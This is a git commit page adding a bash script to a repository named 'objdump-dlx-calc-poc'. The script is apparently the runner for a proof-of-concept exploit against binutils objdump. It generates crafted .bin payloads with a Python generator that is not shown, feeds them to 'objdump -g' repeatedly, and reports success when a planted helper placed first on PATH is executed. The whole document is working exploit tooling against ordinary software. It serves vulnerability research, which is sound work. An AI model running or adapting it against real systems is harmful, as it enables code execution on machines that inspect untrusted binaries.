Upload files to "objdump-dlx-calc-poc"
This commit is contained in:
@@ -0,0 +1,40 @@
|
||||
#!/usr/bin/env bash
|
||||
set -u
|
||||
|
||||
BASE_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
OUT_DIR="${2:-$BASE_DIR/payloads}"
|
||||
MAX_TRIES="${MAX_TRIES:-50}"
|
||||
|
||||
if [ "$#" -lt 1 ]; then
|
||||
echo "usage: $0 /path/to/objdump [payload-directory]" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
OBJ="$1"
|
||||
|
||||
if [ ! -x "$OBJ" ]; then
|
||||
echo "objdump not executable: $OBJ" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if ! compgen -G "$OUT_DIR/*.bin" >/dev/null; then
|
||||
python3 "$BASE_DIR/generate_objdump_dlx_calc_poc.py" --out-dir "$OUT_DIR" >/dev/null
|
||||
fi
|
||||
|
||||
cd "$BASE_DIR" || exit 2
|
||||
export PATH="$BASE_DIR:$PATH"
|
||||
rm -f "$BASE_DIR/calc_hit.log"
|
||||
|
||||
for try in $(seq 1 "$MAX_TRIES"); do
|
||||
for payload in "$OUT_DIR"/*.bin; do
|
||||
python3 -c 'import subprocess, sys
|
||||
subprocess.run([sys.argv[1], "-g", sys.argv[2]], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)' "$OBJ" "$payload" >/dev/null 2>&1 || true
|
||||
if grep -q "CALC_HELPER_RAN" "$BASE_DIR/calc_hit.log" 2>/dev/null; then
|
||||
echo "HIT try=$try payload=$payload"
|
||||
exit 0
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
echo "MISS after $MAX_TRIES sweeps" >&2
|
||||
exit 1
|
||||
Reference in New Issue
Block a user